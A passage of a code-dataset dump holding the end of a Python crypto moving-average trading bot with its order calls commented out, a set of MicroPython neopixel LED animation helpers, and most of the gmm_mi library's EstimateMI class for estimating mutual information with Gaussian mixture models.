\"error\")\r\n return False\r\n\r\n return True\r\n\r\n\r\ndef on_open(ws):\r\n print('opened connection')\r\n\r\n\r\ndef on_close(ws):\r\n print('closed connection')\r\n\r\n\r\ndef on_message(ws, message):\r\n time = datetime.datetime.now()\r\n # print (time.strftime(\"%Y-%m-%d %H:%M:%S\"))\r\n # print(message)\r\n # pprint.pprint(json_message)\r\n\r\n json_message = json.loads(message)\r\n\r\n # print(\" There we Go!! COIN: %s MA= %s BUFFER= %s\" % (TRADE_SYMBOL, _ma, _buffer ))\r\n\r\n candle = json_message['k']\r\n\r\n is_candle_closed = candle['x']\r\n close = candle['c']\r\n\r\n if is_candle_closed:\r\n prices.append(float(close))\r\n np_prices = numpy.array(prices)\r\n ma = talib.MA(np_prices, MA)\r\n ma = talib.MA(np_prices, MA)\r\n\r\n last_price = prices[-1]\r\n # check if can last_2_price is relevant\r\n last_2_price = prices[-2]\r\n last_ma = ma[-1]\r\n # check if can last_2_ma is relevant\r\n last_2_ma = ma[-2]\r\n last_budget = budget[-1]\r\n\r\n current_sell_limit = last_ma * buffer_down\r\n current_buy_limit = last_ma * buffer_up\r\n\r\n almost_order_zone = abs(last_price - (last_ma * BUFFER))\r\n if WIN[-1]:\r\n winsound.Beep(400, 100)\r\n\r\n print(time.strftime(\"%Y-%m-%d %H:%M:%S\"))\r\n print(\"last_2_price: %f, last_2_ma %f, last_price %f, last_ma %f, last_budget %d\" % (\r\n last_2_price, last_2_ma, last_price, last_ma, last_budget))\r\n print(budget)\r\n print(\"Current_buy_limit %f \" % (current_buy_limit))\r\n print(\"Current_sell_limit: %f \" % (current_sell_limit))\r\n\r\n print(\"last_price %f \" % last_price)\r\n print(\"WIN= %r\" % WIN[-1])\r\n if (last_budget == 1):\r\n if last_price > current_buy_limit:\r\n # 1\r\n print(\"1\")\r\n print(\"!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Buy! Buy! Buy!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\")\r\n budget.append(0)\r\n if WIN[-1]:\r\n winsound.PlaySound(\"buy.wav\", winsound.SND_FILENAME)\r\n # order_succeeded = order(SIDE_BUY, TRADE_QUANTITY, TRADE_SYMBOL)\r\n # Log file\r\n logfile = open(LOG_FILE_NAME, 'a')\r\n logfile.write(str(time))\r\n logfile.write(\" buy price: %s\" % last_price)\r\n logfile.write(\"\\n\")\r\n logifle.close()\r\n elif (last_budget == 0):\r\n if last_price < (current_sell_limit):\r\n # 2\r\n print(\"2\")\r\n print(\"!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Sell! Sell! Sell!!!!!!!!!!!!!!!!!!!!!!!!!!!\")\r\n budget.append(1)\r\n if WIN[-1]:\r\n winsound.PlaySound(\"sell.wav\", winsound.SND_FILENAME)\r\n # order_succeeded = order(SIDE_SELL, TRADE_QUANTITY, TRADE_SYMBOL)\r\n # Log file\r\n logfile = open(LOG_FILE_NAME, 'w')\r\n logfile.writerow(time.strftime(\"%Y-%m-%d %H:%M:%S\"))\r\n logfile.write(str(time))\r\n logfile.write(\" buy price: %s\" % last_price)\r\n logfile.write(\"\\n\")\r\n logfile.close()\r\n if (last_price > (current_sell_limit) and last_price < (last_ma)):\r\n # 3\r\n print(\"3\")\r\n print(\r\n \"Almost Sold: Price = %f, current_sell_limit = %f\" % (last_price, (current_sell_limit)))\r\n print(\"Deal GAP: %f\" % abs(almost_order_zone - current_sell_limit))\r\n if WIN:\r\n winsound.Beep(500, 1000)\r\n elif (last_price < current_buy_limit and last_price > last_ma):\r\n # 4\r\n print(\"4\")\r\n print(\r\n \"Almost Buy: Price = %f, current_buy_limit = %f\" % (last_price, (current_buy_limit)))\r\n print(\"Deal GAP: %f \" % abs(current_buy_limit - almost_order_zone))\r\n if WIN[-1]:\r\n winsound.Beep(1000, 100)\r\n winsound.Beep(1000, 100)\r\n elif (last_price > (current_sell_limit) < BUFFER):\r\n # 5\r\n print(\"5\")\r\n print(\"Price = %f > MA * %f = %f, No Change\" % (last_price, buffer_down, (current_sell_limit)))\r\n elif (last_price < (current_buy_limit)):\r\n # 6\r\n print(\"6\")\r\n print(\"Price = %f < MA * %f = %f, No Change\" % (last_price, (current_buy_limit)))\r\n\r\n\r\nws = websocket.WebSocketApp(SOCKET, on_open=on_open, on_close=on_close, on_message=on_message)\r\n\r\nws.run_forever()\r\n","repo_name":"Izzy90/trading_bot","sub_path":"Botrader.V3.py","file_name":"Botrader.V3.py","file_ext":"py","file_size_in_byte":7147,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"37657486137","text":"import time\n\nRED = (255, 0, 0)\nYELLOW = (255, 255, 0)\nGREEN = (0, 255, 0)\nAQUA = (0, 255, 255)\nBLUE = (0, 0, 255)\nPURPLE = (148, 0, 211)\nINDIGO = (75, 0, 130)\nORANGE = (255, 127, 0)\n\nCOLORS = (RED, YELLOW, GREEN, AQUA, BLUE, PURPLE)\n\nRAINBOWS = (PURPLE, INDIGO, BLUE, GREEN, YELLOW, ORANGE, RED)\n\n\ndef cycle(np, color, num=4):\n import time\n n = np.n\n for i in range(num * n):\n for j in range(n):\n np[j] = (0, 0, 0)\n np[i % n] = color\n np.write()\n time.sleep_ms(25)\n\n\ndef bounce(np, color):\n n = np.n\n for i in range(4 * n):\n for j in range(n):\n np[j] = color\n if (i // n) % 2 == 0:\n np[i % n] = (0, 0, 0)\n else:\n np[n - 1 - (i % n)] = (0, 0, 0)\n np.write()\n time.sleep_ms(60)\n\n\ndef fade_in_out(np, color):\n n = np.n\n for i in range(0, 4 * 256, n):\n for j in range(n):\n if (i // 256) % 2 == 0:\n val = i & 0xff\n else:\n val = 255 - (i & 0xff)\n np[j] = (val, 0, 0)\n np.write()\n\n\ndef clear(np, color=(0, 0, 0)):\n # clear\n for i in range(n):\n np[i] = color\n np.write()\n\n\ndef np_setup(pin_no=12, num_pixels=12):\n import neopixel, machine\n np = neopixel.NeoPixel(machine.Pin(pin_no), num_pixels)\n return np\n\n\ndef clear(np):\n np.fill((0, 0, 0))\n np.write()\n\n\ndef rainbow(np, wait=0.5):\n for color in RAINBOWS:\n np.fill(color)\n np.write()\n time.sleep(wait)\n clear(np)\n","repo_name":"maxking/micropython","sub_path":"neopixel_helpers.py","file_name":"neopixel_helpers.py","file_ext":"py","file_size_in_byte":1525,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"13284633452","text":"import numpy as np\nimport warnings\nfrom sklearn.exceptions import ConvergenceWarning, NotFittedError\nfrom tqdm import tqdm\nfrom gmm_mi.cross_validation import CrossValidation\nfrom gmm_mi.single_fit import single_fit\nfrom gmm_mi.param_holders import GMMFitParamHolder, SelectComponentsParamHolder, MIDistParamHolder\n\nclass EstimateMI:\n \"\"\"Class to calculate mutual information (MI) distribution on 2D data, using Gaussian mixture models (GMMs).\n It can also calculate the KL divergence between the two marginal variables.\n The main method is `fit` for continuous data, and `fit_categorical` for continuous-categorical data.\n Then `estimate` can be used to compute MI, KL or both. To directly obtain MI estimate, use `fit_estimate`.\n The constructor parameters are mostly inherited from two classes: GMMFitParamHolder and ChooseComponentParamHolder. \n The class MIDistParamHolder is also used to pass arguments to the `estimate`, so that it is possible to repeat the MI\n estimation without having to re-fit the data.\n\n Parameters\n ----------\n (inherited from GMMFitParamHolder, passed as gmm_fit_params)\n init_type : {'random', 'minmax', 'kmeans', 'randomized_kmeans', 'random_sklearn', 'kmeans_sklearn'}, default='random_sklearn'\n The method used to initialize the weights, the means, the covariances and the precisions in each CV fit.\n See utils.initializations for more details.\n scale : float, default=None\n The scale used for 'random', 'minmax' and 'randomized_kmeans' initializations. Not used in all other cases.\n See utils.initializations for more details.\n threshold_fit : float, default=1e-5\n The log-likelihood threshold on each GMM fit used to choose when to stop training.\n Smaller values will improve the fit quality and reduce the chances of stopping at a local optimum,\n while making the code considerably slower. This is equivalent to `tol` in sklearn GMMs. \n reg_covar : float, default=1e-15\n The constant term added to the diagonal of the covariance matrices to avoid singularities.\n Smaller values will increase the chances of singular matrices, but will have a smaller impact\n on the final MI estimates. \n max_iter : int, default=10000\n The maximum number of iterations in each GMM fit. We aim to stop only based on `threshold_fit`, \n so it is set to a high value. A warning is raised if this threshold is reached; in that case, \n simply increase this value, or check that you really need such a small `threshold_fit` value.\n \n (inherited from ChooseComponentParamHolder, passed as select_component_params) \n n_inits : int, default=3\n Number of initializations used to find the best initialization parameters.\n Higher values will decrease the chances of stopping at a local optimum, while making the code slower.\n n_folds : int, default=2\n Number of folds in the cross-validation (CV) performed to find the best initialization parameters.\n A good value should ensure each fold has enough samples to be representative of your training set.\n metric_method : {'valid', 'aic', 'bic'}, default='valid'\n Metric used to select the optimal number of GMM components to perform density estimation.\n Must be one of:\n 'valid': stop adding components when the validation log-likelihood stops increasing.\n 'aic': stop adding components when the Akaike information criterion (AIC) stops decreasing.\n 'bic': same as 'aic' but with the Bayesian information criterion (BIC).\n threshold_components : float, default=1e-5\n The metric threshold to decide when to stop adding GMM components. In other words, GMM-MI stops \n adding components either when the metric gets worse, or when the improvement in the metric value\n is less than this threshold.\n Smaller values ensure that enough components are considered and thus that the data distribution is \n correctly captured, while taking longer to converge and possibly insignificantly changing the \n final value of MI.\n patience : int, default=1\n Number of extra components to \"wait\" until convergence is declared. Must be at least 1.\n Same concept as patience when training a neural network. Higher value will fit models\n with higher numbers of GMM components, while taking longer to converge. \n max_components : int, default=50\n Maximum number of GMM components that is going to be tested. Hopefully stop much earlier than this.\n A warning is raised if this number of components is used; if so, you might want to use a different\n `metric_method`.\n fixed_components_number : int, default=0\n The number of GMM components to use. If 0 (default), will do cross-validation to select \n the number of components, and ignore this. Else, use this specified number of components,\n and ignore cross-validation.\n \n Attributes\n ----------\n fit_done : bool\n Check `fit` method has been called. Initially False. Has to be true to call `estimate`.\n converged : bool\n Flag to check whether we found the optimal number of components. Initially False.\n conditional : bool\n Flag to check whether conditional mutual information has been requested. Initially False.\n best_metric : float\n Metric value that is tracked to decide convergence with respect to the number of components.\n This can be either the validation log-likelihood, the AIC or BIC.\n patience_counter : int\n Counter to keep track of patience. Initially 0.\n results_dict : dict\n To keep track of the cross-validation results, and decide convergence.\n fixed_components : bool\n Set to True only if the user fixes a number of GMM components > 0.\n \"\"\"\n def __init__(self, gmm_fit_params=None, select_components_params=None): \n self.gmm_fit_params = gmm_fit_params if gmm_fit_params else GMMFitParamHolder()\n self.sel_comp_params = select_components_params if select_components_params else SelectComponentsParamHolder()\n self.mi_dist_params = None # set this here to avoid problems with __getattr__; will be defined in `estimate`\n \n self.fit_done = False\n self.converged = False\n self.conditional = False\n self.best_metric = -np.inf\n self.patience_counter = 0\n self.results_dict = {} \n \n def __getattr__(self, attr):\n \"\"\"Access all hyperparameter classes methods and attributes.\"\"\"\n try:\n return getattr(self.gmm_fit_params, attr)\n except:\n pass\n try:\n return getattr(self.sel_comp_params, attr)\n except:\n pass\n try:\n return getattr(self.mi_dist_params, attr)\n except:\n pass\n \n def _check_shapes(self, X, Y):\n \"\"\" Check that the shapes of the arrays given as input to GMM-MI are either 2D or 1D,\n and return the correct array to give as input.\n\n Parameters\n ---------- \n X : array-like of shape (n_samples, 2), (n_samples, 1), (n_samples) or (n_samples, 2+n_var)\n Samples from the joint distribution of the two variables whose MI or KL is calculated.\n If Y is None, must be of shape (n_samples, 2); otherwise, it must be either (n_samples, 1) or (n_samples).\n The (n_samples, 2+n_var) case is for the conditional MI(X, Y | Z_1, ..., z_n), where conditional MI is computed.\n Y : array-like of shape (n_samples, 1) or (n_samples), default=None\n Samples from the marginal distribution of one of the two variables whose MI or KL is calculated.\n If None, X must be of shape (n_samples, 2); otherwise, X and Y must be (n_samples, 1) or (n_samples).\n \n Returns\n ----------\n X : array-like of shape (n_samples, 2) or (n_samples, 2+n_var)\n The 2D (or higher-dimensional) array that is used to estimate MI or KL, with the expected shape. \n \"\"\"\n if len(X.shape) == 1:\n X = np.reshape(X, (X.shape[0], 1)) # add extra dimension \n if Y is None:\n if X.shape[1] < 2:\n raise ValueError(f\"Y is None, but the input array X is not 2- (or higher-) dimensional. \"\\\n f\"In this case, both X and Y should be 1-dimensional.\")\n else:\n return X\n # if Y is not None, we can manipulate it \n else:\n if len(Y.shape) == 1:\n Y = np.reshape(Y, (Y.shape[0], 1)) # add extra dimension\n if X.shape[1] == 1 and Y.shape[1] == 1:\n X = np.hstack((X, Y))\n return X\n else:\n raise ValueError(f\"Y is not None, but the input arrays X or Y are not 1-dimensional. \"\\\n f\"Shapes found: {X.shape}, {Y.shape}.\")\n \n def _select_best_metric(self, n_components):\n \"\"\"Select best metric to choose the number of GMM components.\n Note all metrics are calculated and stored, but only the one indicated\n in input is used to make decisions on convergence.\n\n Parameters\n ----------\n n_components : int\n Number of GMM components currently being fitted. \n\n Returns\n ----------\n metric : float\n The value of the metric selected to choose the number of components.\n \"\"\" \n # for aic and bic we need to re-fit the dataset; we start from the final point\n _, _, w_init, m_init, p_init = self._extract_best_parameters(n_components=n_components, \n fixed_components=False, \n patience=0)\n gmm = single_fit(X=self.X, n_components=n_components, reg_covar=self.reg_covar, \n threshold_fit=self.threshold_fit, max_iter=self.max_iter, \n w_init=w_init, m_init=m_init, p_init=p_init) \n # this is an extra fit we make, so we also check if this converged\n convergence_flag = False if gmm.n_iter_ <= 2 else True\n self.results_dict[n_components]['convergence_flags'].append(convergence_flag) \n aic = gmm.aic(self.X)\n self.results_dict[n_components]['aic'] = aic\n bic = gmm.bic(self.X)\n self.results_dict[n_components]['bic'] = bic\n valid_score = self.results_dict[n_components]['best_val_score']\n self.results_dict[n_components]['valid_score'] = valid_score\n if self.metric_method == 'aic':\n # negative since we maximise the metric\n metric = -aic\n elif self.metric_method == 'bic':\n # negative since we maximise the metric\n metric = -bic\n elif self.metric_method == 'valid':\n metric = valid_score\n else:\n raise ValueError(f\"metric_method must be either 'valid', 'aic' or 'bic, found '{self.metric_method}'\")\n return metric \n\n def _extract_best_parameters(self, n_components, fixed_components, patience):\n \"\"\"Extract best parameters relative to cross-validation.\n\n Parameters\n ----------\n n_components : int\n Number of GMM components to fit. \n fixed_components : bool\n Fix the number of GMM components to use for density estimation.\n In this instance, only used to decide if patience is used or not.\n patience : int\n Number of extra components to \"wait\" until convergence is declared. \n Decides how far back to look to select the number of components. Only used if fixed_components is not True.\n\n Returns\n ----------\n best_components : int\n Best number of components to fit (either the input ones, or fewer if it's during patience).\n best_seed : int\n Best seed of the initialization that led to the highest validation log-likelihood.\n w_init : array-like of shape (n_components)\n Best GMM weights (based on cross-validation), to be used as initial point of further fits.\n m_init : array-like of shape (n_components, 2)\n Best GMM means (based on cross-validation), to be used as initial point of further fits.\n p_init : array-like of shape (n_components, 2, 2)\n Best GMM precisions (based on cross-validation), to be used as initial point of further fits.\n \"\"\" \n best_components = n_components\n if not fixed_components:\n best_components -= patience\n self.lcurves = self.results_dict[best_components]['all_lcurves']\n best_seed = self.results_dict[best_components]['best_seed']\n best_fold_in_init = self.results_dict[best_components]['best_fold_in_init'] \n all_ws = self.results_dict[best_components]['all_ws']\n all_ms = self.results_dict[best_components]['all_ms']\n all_ps = self.results_dict[best_components]['all_ps']\n w_init = all_ws[best_seed, best_fold_in_init]\n m_init = all_ms[best_seed, best_fold_in_init]\n p_init = all_ps[best_seed, best_fold_in_init] \n return best_components, best_seed, w_init, m_init, p_init\n\n def _check_convergence(self, n_components):\n \"\"\"Check if convergence with respect to the number of components has been reached.\n Convergence is declared when the metric has not improved, or when the improvement is\n less than the specified `threshold_components`.\n\n Parameters\n ----------\n n_components : int\n Number of GMM components being fitted. \n \"\"\" \n if self.metric - self.best_metric > self.threshold_components:\n self.best_metric = self.metric\n if self.verbose:\n print(f'Current number of GMM components: {n_components}. Current metric: {self.best_metric:.3f}. Adding one component...')\n else:\n self.patience_counter += 1\n if self.verbose:\n print(f'Metric change is less than threshold; patience counter increased by 1...')\n if self.patience_counter >= self.patience:\n if self.verbose:\n print(f'Reached patience limit, stop adding components.')\n self.converged = True\n\n def _calculate_MI(self, gmm, tol_int=1.49e-8, limit=np.inf):\n \"\"\"Calculate mutual information (MI) integral given a Gaussian mixture model in 2D.\n Use either Monte Carlo (MC) method, or quadrature method.\n\n Parameters\n ----------\n gmm : instance of GMM class\n The GMM model whose MI we calculate.\n tol_int : float, default=1.49e-8\n Integral tolerance; the default value is the one form scipy. \n Only used when integral_method='quad'.\n limit : float, default=np.inf\n The extrema of the integral to calculate. Usually the whole plane, so defaults to inf.\n Only used when integral_method='quad'. Integral goes from -limit to +limit.\n\n Returns\n ----------\n MI : float\n The value of MI, in the units specified by the base provided as input to the `estimate` method.\n \"\"\" \n if self.integral_method == 'MC':\n if self.conditional == False:\n MI = gmm.estimate_MI_MC(MC_samples=self.MC_samples)\n else:\n MI = gmm.estimate_cMI_MC(MC_samples=self.MC_samples)\n elif self.integral_method == 'quad':\n if self.conditional == False:\n MI = gmm.estimate_MI_quad(tol_int=tol_int, limit=limit)\n else:\n raise NotImplementedError(\n \"Estimating conditional MI with quadrature methods is currently not implemented. \"\n \"Please use `MC` method, or write to dr.davide.piras@gmail.com if you would like \"\n \"this feature added.\"\n ) \n return MI\n \n def _calculate_KL(self, gmm, kl_order='forward', tol_int=1.49e-8, limit=np.inf):\n \"\"\"Calculate KL divergence given a Gaussian mixture model in 2D.\n Use either Monte Carlo (MC) method, or quadrature method.\n\n Parameters\n ----------\n gmm : instance of GMM class\n The GMM model between whose marginal the KL is calculated.\n kl_order : one of {'forward', 'reverse'}, default='forward'\n Whether to calculate the KL divergence between p(x) and p(y), or between p(y) and p(x).\n tol_int : float, default=1.49e-8\n Integral tolerance; the default value is the one form scipy.\n Only used when integral_method='quad'.\n limit : float, default=np.inf\n The extrema of the integral to calculate. Usually the whole plane, so defaults to inf.\n Only used when integral_method='quad'. Integral goes from -limit to +limit.\n \n Returns\n ----------\n KL : float\n The value of KL, in the units specified by the base provided as input to the `estimate` method.\n \"\"\"\n if self.integral_method == 'MC':\n KL = gmm.estimate_KL_MC(kl_order=kl_order, MC_samples=self.MC_samples)\n elif self.integral_method == 'quad':\n KL = gmm.estimate_KL_quad(kl_order=kl_order, tol_int=tol_int, limit=limit)\n return KL\n\n def _perform_bootstrap(self, n_components, random_state, w_init, m_init, p_init, include_kl=False, kl_order='forward'):\n \"\"\"Perform bootstrap on the given data to calculate the distribution of mutual information (MI) or KL\n in the continuous-continuous case. If n_bootstrap < 1, do only a single fit on the entire dataset.\n\n Parameters\n ----------\n n_components : int\n Number of GMM components to fit.\n random_state : int, default=None\n Random seed used to initialize the GMM model. \n If initial GMM parameters are provided, used only to fix the trained model samples across trials.\n w_init : array-like of shape (n_components)\n Initial GMM weights.\n m_init : array-like of shape (n_components, 2)\n Initial GMM means.\n p_init : array-like of shape (n_components, 2, 2)\n Initial GMM precisions.\n include_kl : bool, default=False\n If True, compute KL divergence too. This is not returned, but can be accessed as an attribute.\n kl_order : one of {'forward', 'reverse'}, default='forward'\n Whether to calculate the KL divergence between p(x) and p(y), or between p(y) and p(x).\n\n Returns\n ----------\n MI_mean : float\n Mean of the MI distribution.\n MI_std : float\n Standard deviation of the MI distribution.\n \"\"\" \n if self.n_bootstrap < 1:\n do_bootstrap = False\n self.n_bootstrap = 1 # we will use only one dataset, i.e. all data\n else:\n do_bootstrap = True\n \n if include_kl:\n KL_estimates = np.zeros(self.n_bootstrap)\n if self.verbose:\n print(f'Computing also {kl_order} KL divergence.')\n else:\n self.KL_mean, self.KL_std = None, None\n MI_estimates = np.zeros(self.n_bootstrap)\n for n_b in tqdm(range(self.n_bootstrap)):\n if do_bootstrap:\n # we use index n_b to change the seed so that results will be fully reproducible\n rng = np.random.default_rng(n_b)\n X_bs = rng.choice(self.X, self.X.shape[0])\n else:\n X_bs = self.X\n gmm = single_fit(X=X_bs, n_components=n_components, reg_covar=self.reg_covar, \n threshold_fit=self.threshold_fit, max_iter=self.max_iter, \n random_state=random_state, w_init=w_init, m_init=m_init, p_init=p_init)\n current_MI_estimate = self._calculate_MI(gmm)\n MI_estimates[n_b] = current_MI_estimate\n if include_kl:\n current_KL_estimate = self._calculate_KL(gmm, kl_order=kl_order) \n KL_estimates[n_b] = current_KL_estimate\n MI_mean = np.mean(MI_estimates)\n MI_std = np.sqrt(np.var(MI_estimates, ddof=1)) if do_bootstrap else None\n if include_kl:\n self.KL_mean = np.mean(KL_estimates)\n self.KL_std = np.sqrt(np.var(KL_estimates, ddof=1)) if do_bootstrap else None \n return MI_mean, MI_std\n \n def _set_units(self, MI_mean, MI_std, base):\n \"\"\" Set units according to input base.\n \n Parameters\n ----------\n MI_mean : float\n Mean of the MI distribution, in nat.\n MI_std : float\n Standard deviation of the MI distribution, in nat.\n base : float\n The base of the logarithm to calculate MI or KL. \n \n Returns\n ----------\n MI_mean : float\n Mean of the MI distribution, in the units set by base.\n MI_std : float\n Standard deviation of the MI distribution, in the units set by base.\n \"\"\"\n if MI_mean is not None: \n MI_mean /= np.log(base)\n if MI_std is not None:\n MI_std /= np.log(base)\n return MI_mean, MI_std\n\n def fit(self, X, Y=None, verbose=False):\n \"\"\"Performs density estimation of the data using GMMs and k-fold cross-validation.\n The fitted model will be used to estimate MI and/or KL.\n\n Parameters\n ---------- \n X : array-like of shape (n_samples, 2), (n_samples, 1), (n_samples) or (n_samples, 3)\n Samples from the joint distribution of the two variables whose MI or KL is calculated.\n If Y is None, must be of shape (n_samples, 2) or (n_samples, 3); \n otherwise, it must be either (n_samples, 1) or (n_samples).\n The case (n_samples, 2+n_var) is reserved for the conditional MI(X, Y | Z_1, ..., Z_n); \n the variables must be given in this order.\n Y : array-like of shape (n_samples, 1) or (n_samples), default=None\n Samples from the marginal distribution of one of the two variables whose MI or KL is calculated.\n If None, X must be of shape (n_samples, 2) or (n_samples, 2+n_var); \n otherwise, X and Y must be (n_samples, 1) or (n_samples). \n verbose : bool, default=False\n Whether to print useful procedural statements.\n \n Returns\n ----------\n None\n \"\"\" \n self.verbose = verbose\n # if fit was already done, exit without doing anything\n if self.fit_done:\n if self.verbose:\n print('Fit already done, not being repeated.')\n return\n \n # check shapes and proceed with fit\n X = self._check_shapes(X, Y)\n self.X = X\n if X.shape[1] >= 3:\n self.conditional = True\n if self.verbose:\n print('Shape of input array is 3-D or higher, so conditional mutual information '\n 'will be computed.')\n \n if self.verbose:\n if not self.fixed_components:\n print('Starting cross-validation procedure to select the number of GMM components...')\n else:\n print(f'Using {self.fixed_components_number} GMM components, as specified in input.')\n for n_components in range(1, self.max_components+1):\n if self.fixed_components:\n if n_components < self.fixed_components_number:\n continue\n else:\n self.converged = True\n current_results_dict = CrossValidation(n_components=n_components, n_folds=self.n_folds,\n max_iter=self.max_iter, init_type=self.init_type, scale=self.scale,\n n_inits=self.n_inits, threshold_fit=self.threshold_fit,\n reg_covar=self.reg_covar).fit(self.X)\n self.results_dict[n_components] = current_results_dict\n if not self.converged:\n self.metric = self._select_best_metric(n_components=n_components)\n # store metric, just to make it accessible outside of this class, if needed\n self.results_dict[n_components]['metric'] = self.metric\n self._check_convergence(n_components=n_components)\n\n if self.converged:\n best_components, best_seed, w_init, m_init, p_init = self._extract_best_parameters(n_components=n_components,\n fixed_components=self.fixed_components,\n patience=self.patience)\n # these are assigned to self only to possibly plot the final model in `plot_fitted_model`.\n self.best_components = best_components\n self.best_seed = best_seed\n self.w_init = w_init\n self.m_init = m_init\n self.p_init = p_init\n\n if self.verbose:\n print(f'Convergence reached at {best_components} GMM components.')\n\n # check if fits actually went on for a good amount of iterations\n if self.fixed_components:\n convergence_flags = self.results_dict[self.best_components]['convergence_flags']\n else:\n convergence_flags = [self.results_dict[n_c]['convergence_flags']\n for n_c in range(1, self.best_components+1)]\n # checking if all elements are False; in this case, a warning should be raised\n if not np.sum(convergence_flags):\n warnings.warn(\n f\"All CV GMM fits converged only after their second iteration for all components; \"\n \"this is usually suspicious, and might be a symptom of a bad fit. \"\n \"Plot the loss curves as described in the walkthrough, and try reducing threshold_fit, \"\n \"or with a different init_type.\",\n ConvergenceWarning,\n )\n\n break\n\n # in the unlikely case that we have not reached enough GMM components,\n # we raise a ConvergenceWarning\n if n_components == self.max_components:\n self.reached_max_components = True\n warnings.warn(f\"Convergence in the number of GMM components was not reached. \"\\\n f\"Try increasing max_components or threshold_components, \"\\\n f\"or decreasing the patience.\", ConvergenceWarning)\n best_components, best_seed, w_init, m_init, p_init = self._extract_best_parameters(n_components=self.max_components,\n fixed_components=True,\n patience=0)\n # these are assigned to self only to possibly plot the final model\n # in `plot_fitted_model`.\n self.best_components = best_components\n self.best_seed = best_seed\n self.w_init = w_init\n self.m_init = m_init\n self.p_init = p_init\n \n # at this point, either self.converged=True or self.reached_max_components=True\n # these indicate that the fit has been done, and there is no need to repeat it\n self.fit_done = self.converged or self.reached_max_components\n \n def estimate(self, mi_dist_params=None, base=np.exp(1), include_kl=False, kl_order='forward', verbose=False):\n \"\"\"Calculate mutual information (MI) distribution (in nat, unless a different base is specified).\n Uses the fitted model to estimate MI using either Monte Carlo or quadrature methods.\n It can also estimate the KL divergence between the marginals, in the preferred order (KL is not symmetric).\n Uncertainties on MI and KL are calculated through bootstrap.\n\n Parameters\n ---------- \n (inherited from MIDistParamHolder, passed as mi_dist_params) \n n_bootstrap : int, default=50 \n Number of bootstrap realisations to consider to obtain the MI uncertainty.\n Higher values will return a better estimate of the MI uncertainty, and\n will make the MI distribution more Gaussian-like, but the code will take longer.\n If < 1, do not perform bootstrap and actually just do a single fit on the entire dataset.\n integral_method : {'MC', 'quad'}, default='MC' \n Method to calculate the MI or KL integral. Must be one of:\n 'MC': use Monte Carlo integration with MC_samples samples.\n 'quad': use quadrature integration, as implemented in scipy, with default parameters.\n MC_samples : int, default=1e5\n Number of MC samples to use to estimate the MI integral. Only used if integral_method == 'MC'.\n Higher values will return less noisy estimates of MI, but will take longer. \n \n include_kl : bool, default=False\n If True, compute KL divergence too. This is not returned, but can be accessed as an attribute.\n kl_order : one of {'forward', 'reverse'}, default='forward'\n Whether to calculate the KL divergence between p(x) and p(y) ('forward')\n or between p(y) and p(x) ('reverse').\n base : float, default=np.exp(1)\n The base of the logarithm to calculate MI or KL. \n By default, unit is nat. Set base=2 for bit.\n verbose : bool, default=False\n Whether to print useful procedural statements.\n \n Returns\n ----------\n MI_mean : float\n Mean of the MI distribution, in nat (unless a different base is specified).\n MI_std : float\n Standard deviation of the MI distribution, in nat (unless a different base is specified).\n \"\"\" \n self.verbose = verbose\n \n if not self.fit_done:\n raise NotFittedError(\n \"This EstimateMI instance is not fitted yet. Call `fit` with appropriate \"\n \"arguments before using this estimator.\"\n )\n\n self.mi_dist_params = mi_dist_params if mi_dist_params else MIDistParamHolder()\n \n # get MI distribution\n MI_mean, MI_std = self._perform_bootstrap(n_components=self.best_components, random_state=self.best_seed,\n w_init=self.w_init, m_init=self.m_init, p_init=self.p_init, \n include_kl=include_kl, kl_order=kl_order)\n \n if self.verbose:\n print('MI estimation completed, returning mean and standard deviation.')\n \n # set units according to input base\n MI_mean, MI_std = self._set_units(MI_mean, MI_std, base)\n self.MI_mean, self.MI_std = MI_mean, MI_std\n # also set the units of KL;\n self.KL_mean, self.KL_std = self._set_units(self.KL_mean, self.KL_std, base)\n return MI_mean, MI_std \n \n def fit_estimate(self, X, Y=None, mi_dist_params=None, include_kl=False, kl_order='forward', base=np.exp(1), verbose=False):\n \"\"\"Combine the `fit` and `estimate` methods for easier calculation of MI. \n See the respective methods for all information.\n \"\"\" \n self.fit(X=X, Y=Y, verbose=verbose)\n MI_mean, MI_std = self.estimate(mi_dist_params=mi_dist_params, include_kl=include_kl, \n kl_order=kl_order, base=base, verbose=verbose)\n return MI_mean, MI_std \n \n def _single_fit(self):\n \"\"\"Fit final model to input data. \n This will be used to draw GMM components and/or contours.\n Only works if the model has been fitted successfully first.\n \n Returns\n -------\n gmm : instance of GMM class\n The fitted GMM model.\n \"\"\"\n if not self.fit_done:\n raise NotFittedError(\n \"This EstimateMI instance is not fitted yet. Call `fit` with appropriate \"\n \"arguments before using this estimator.\"\n )\n \n gmm = single_fit(X=self.X, n_components=self.best_components, reg_covar=self.reg_covar, \n threshold_fit=self.threshold_fit, random_state=self.best_seed, max_iter=self.max_iter, \n w_init=self.w_init, m_init=self.m_init, p_init=self.p_init)\n return gmm\n\n def plot_fitted_model(self, ax=None, **kwargs):\n \"\"\"Plot GMM contours over the input data.\n Only works if the model has been fitted successfully first,\n and only in the case of 2D input data (i.e. not in the conditional case).\n Works in the continuous case only.\n \n Parameters\n ----------\n ax : instance of the axes.Axes class from pyplot, default=None\n The panel where to plot the samples. \n kwargs : dictionary\n The extra keyword arguments to pass to the plotting function.\n \n Returns\n -------\n ax : instance of the axes.Axes class from pyplot\n The output panel.\n \"\"\" \n from gmm_mi.utils.plotting import plot_gmm_contours\n if self.conditional:\n raise NotImplementedError(\"When computing conditional MI, to visualise the contours \"\n \"you need to call `plot_fitted_contours`.\")\n gmm = self._single_fit() \n ax = plot_gmm_contours(gmm, ax=ax, label='Fitted model', **kwargs)\n return ax\n \n def plot_fitted_contours(self, parameters=None, extents=None, n_samples=None, **kwargs):\n \"\"\"Plot overall fitted distribution contours over the input data.\n The contours are created using `chainconsumer`.\n Only works if the model has been fitted successfully first, and in the continuous case only.\n \n Parameters\n ----------\n parameters : list, default=None\n List of strings with the parameters name, to put in the labels.\n extents : dictionary, default=None\n Contains the ranges of each parameter. Key must be a string, value a tuple/list.\n n_samples : int, default=None\n The number of samples to draw from the fitted GMM to draw the contours.\n If None, draws the same number of samples as in the input data.\n kwargs : dictionary\n The extra keyword arguments to pass to the plotting 